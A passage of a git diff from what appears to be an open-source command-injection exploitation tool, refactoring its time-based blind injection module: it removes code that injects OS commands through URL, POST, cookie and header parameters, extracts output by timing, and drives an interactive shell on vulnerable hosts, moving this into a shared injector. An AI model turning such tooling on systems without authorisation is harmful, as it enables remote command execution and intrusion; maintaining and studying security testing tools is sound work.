str(randv2) + "" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tb_injector.false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - - if checks.time_relative_shell(url_time_response, how_long, timesec) : - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - else: - break - - # False positive - else: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - else: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - checks.injection_process(injection_type, technique, percent) - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - - # Yaw, got shellz! - # Do some magic tricks! - if checks.time_relative_shell(url_time_response, how_long, timesec): - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Check for any enumeration options. - tb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Check for any system file access options. - tb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Check if defined single cmd. - if menu.options.os_cmd: - cmd = menu.options.os_cmd - check_how_long, output = tb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - checks.time_delay_recommendation() - false_positive_warning = False - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - # Export injection result - tb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - settings.print_data_to_stdout(settings.print_output(output)) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - return True - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - common.invalid_option(gotshell) - pass - # break - - except (KeyboardInterrupt, SystemExit): - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - +def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -419,7 +62,8 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, common.invalid_option(proceed_option) pass else: - if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: + tmp_path = "" + if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: settings.TIME_RELATIVE_ATTACK = False return False # eof diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index cd3e9010c6..5d5b83bf4d 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -13,523 +13,24 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.utils import common -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.blind.techniques.time_based import tb_payloads +from src.core.injections.controller import injector """ The "time-based" injection technique on Blind OS Command Injection. """ -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Host-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) - """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - if menu.options.file_write or menu.options.file_upload: - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output. " - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - for output_length in range(int(minlen), int(maxlen)): - if alter_shell: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - # Execute shell commands on vulnerable host. - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if output_length > 1: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Retrieved the length of execution output: " + str(output_length) - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) - else: - sub_content = "Retrieved: " + str(output_length) - settings.print_data_to_stdout(settings.print_sub_content(sub_content)) - found_chars = True - injection_check = False - break - - # Proceed with the next (injection) step! - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - output = [] - percent = "0.0%" - info_msg = "Presuming the execution output." - if settings.VERBOSITY_LEVEL == 0 : - info_msg += ".. (" + str(percent) + ")" - else: - info_msg += "\n" - if output_length > 1: - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - for num_of_chars in range(1, int(num_of_chars)): - char_pool = checks.generate_char_pool(num_of_chars) - for ascii_char in char_pool: - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - # Examine time-responses - injection_check = False - if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF): - injection_check = True - - if injection_check == True: - if settings.VERBOSITY_LEVEL == 0: - output.append(chr(ascii_char)) - percent, float_percent = checks.percentage_calculation(num_of_chars, output_length) - if percent == 100: - float_percent = settings.info_msg - else: - float_percent = ".. (" + str(float_percent) + "%)" - info_msg = "Presuming the execution output." - info_msg += float_percent - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) - - else: - output.append(chr(ascii_char)) - injection_check = False - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - # Check for empty output. - if output == (len(output) * settings.SINGLE_WHITESPACE): - output = "" - - else: - check_start = 0 - check_how_long = 0 - output = "" - - return check_how_long, output +def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique): + OUTPUT_TEXTFILE = "" + return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print len(os.popen('cmd /c " + cmd + "').read().strip())\"" - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim().length" - - found_chars = False - checks.check_for_false_positive_result(false_positive_warning) - - # Varying the sleep time. - if false_positive_warning: - timesec = timesec + random.randint(3, 5) - - # Checking the output length of the used payload. - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Execute shell commands on vulnerable host. - if alter_shell: - payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - payload = tb_payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): + OUTPUT_TEXTFILE = "" + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - found_chars = True - break - - if found_chars == True : - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() - - output = [] - percent = 0 - - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 20): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - if alter_shell: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - # Get the execution output, of shell execution. - payload = tb_payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) - - if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break - - check_end = time.time() - check_how_long = int(check_end - check_start) - output = "".join(str(p) for p in output) - - if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(" (done)") - return how_long, output - - else: - checks.unexploitable_point() - - -""" -Export the injection results -""" -def export_injection_results(cmd, separator, output, check_how_long): - if output != "" and check_how_long != 0 : - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - settings.print_data_to_stdout(settings.print_output(output)) - else: - # Check if exists pipe filtration. - if output != False : - err_msg = "It appears that '" + cmd + "' command could not return " - err_msg += "any output due to '" + separator + "' filtration on target host. " - err_msg += "To bypass that limitation, use the '--alter-shell' option " - err_msg += "or try another injection technique (i.e. '--technique=\"f\"')" - settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check for fault command. - else: - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 82d22df7b1..511ddf0baa 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -36,6 +36,7 @@ from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode from socket import error as SocketError +from src.core.requests import headers from src.core.requests import requests from src.core.requests import parameters from src.thirdparty.six.moves import input as _input @@ -57,13 +58,14 @@ except: settings.READLINE_ERROR = True +""" +Exiting +""" def exit(): if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.execution("Ending")) os._exit(0) - - """ Detection of WAF/IPS protection. """ @@ -109,6 +111,19 @@ def payload_fixation(payload): payload = _urllib.parse.quote(payload) return payload +""" +""" +def get_response(output): + request = _urllib.request.Request(output) + headers.do_check(request) + headers.check_http_traffic(request) + # Check if defined any HTTP Proxy (--proxy option). + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response + """ Check for non custom parameters. """ @@ -135,7 +150,7 @@ def process_non_custom(): Process data with custom injection marker character ('*'). """ def process_custom_injection_data(data): - if settings.CUSTOM_INJECTION_MARKER != None: + if settings.CUSTOM_INJECTION_MARKER != None and isinstance(data, str): _ = [] for data in data.split("\\n"): if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: @@ -1172,6 +1187,15 @@ def error_loading_session_file(): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() +""" +EOFError +""" +def EOFError_err_msg(): + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + """ Message regarding unexpected time delays """ @@ -1184,11 +1208,10 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays have been identified due to unstable " - message += "requests and may lead to false-positive results. " + message = "Unexpected time delays have been identified and may lead to false-positive results." settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + "How do you want to proceed? [(C)ontinue/(s)kip] > " + message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1205,11 +1228,12 @@ def time_delay_due_to_unstable_request(timesec): pass """ +Time relative shell condition """ -def time_relative_shell(url_time_response, how_long, timesec): - if (url_time_response == 0 and (how_long - timesec) >= 0) or \ - (url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \ - (url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)): +def time_relative_shell(url_time_response, exec_time, timesec): + if (url_time_response == 0 and (exec_time - timesec) >= 0) or \ + (url_time_response != 0 and (exec_time - timesec) == 0 and (exec_time == timesec)) or \ + (url_time_response != 0 and (exec_time - timesec) > 0 and (exec_time >= timesec + 1)): return True else: return False @@ -2794,5 +2818,163 @@ def identified_vulnerable_param(url, technique, injection_type, vuln_parameter, sub_content = str(url_decode(payload)) settings.print_data_to_stdout(settings.print_sub_content(sub_content)) +""" +Finalize injection process +""" +def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): + if exit_loops == False: + if settings.VERBOSITY_LEVEL == 0: + percent = print_percentage(float_percent, no_result, shell) + injection_process(injection_type, technique, percent) + return True + else: + return True + else: + return False + +""" +Provide custom server's root directory +""" +def custom_web_root(url, timesec, filename, http_request_method, url_time_response): + if not settings.CUSTOM_WEB_ROOT: + if settings.TARGET_OS == settings.OS.WINDOWS : + default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] + else: + default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) + message = "Enter what you want to use for writable directory (e.g. '" + message += default_root_dir + "') > " + settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) + if len(settings.WEB_ROOT) == 0: + settings.WEB_ROOT = default_root_dir + settings.CUSTOM_WEB_ROOT = True + + if not settings.LOAD_SESSION: + path = settings.WEB_ROOT + setting_writable_dir(path) + menu.options.web_root = settings.WEB_ROOT.strip() + + +""" +Return TEMP path for win / *nix targets. +""" +def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): + def check_trailing_slashes(): + if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" + + # Set temp path + if settings.TARGET_OS == settings.OS.WINDOWS: + if "microsoft-iis" in settings.SERVER_BANNER.lower(): + settings.TMP_PATH = r"C:\\Windows\TEMP\\" + else: + settings.TMP_PATH = "%temp%\\" + else: + settings.TMP_PATH = "/tmp/" + + if menu.options.tmp_path: + tmp_path = menu.options.tmp_path + else: + tmp_path = settings.TMP_PATH + + if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: + settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT + + if menu.options.file_dest and '/tmp/' in menu.options.file_dest: + call_tmp_based = True + + if menu.options.web_root: + settings.WEB_ROOT = menu.options.web_root + else: + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + if settings.TARGET_OS == settings.OS.WINDOWS: + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + check_trailing_slashes() + + return tmp_path + +""" +Check if file-based technique has failed, +then use the "/tmp/" directory for tempfile-based technique. +""" +def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): + if no_result == True: + from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler + path = tmp_path + setting_writable_dir(path) + call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) + return call_tfb + else: + settings.print_data_to_stdout(settings.END_LINE.CR) + +""" +Check if to use the "/tmp/" directory for tempfile-based 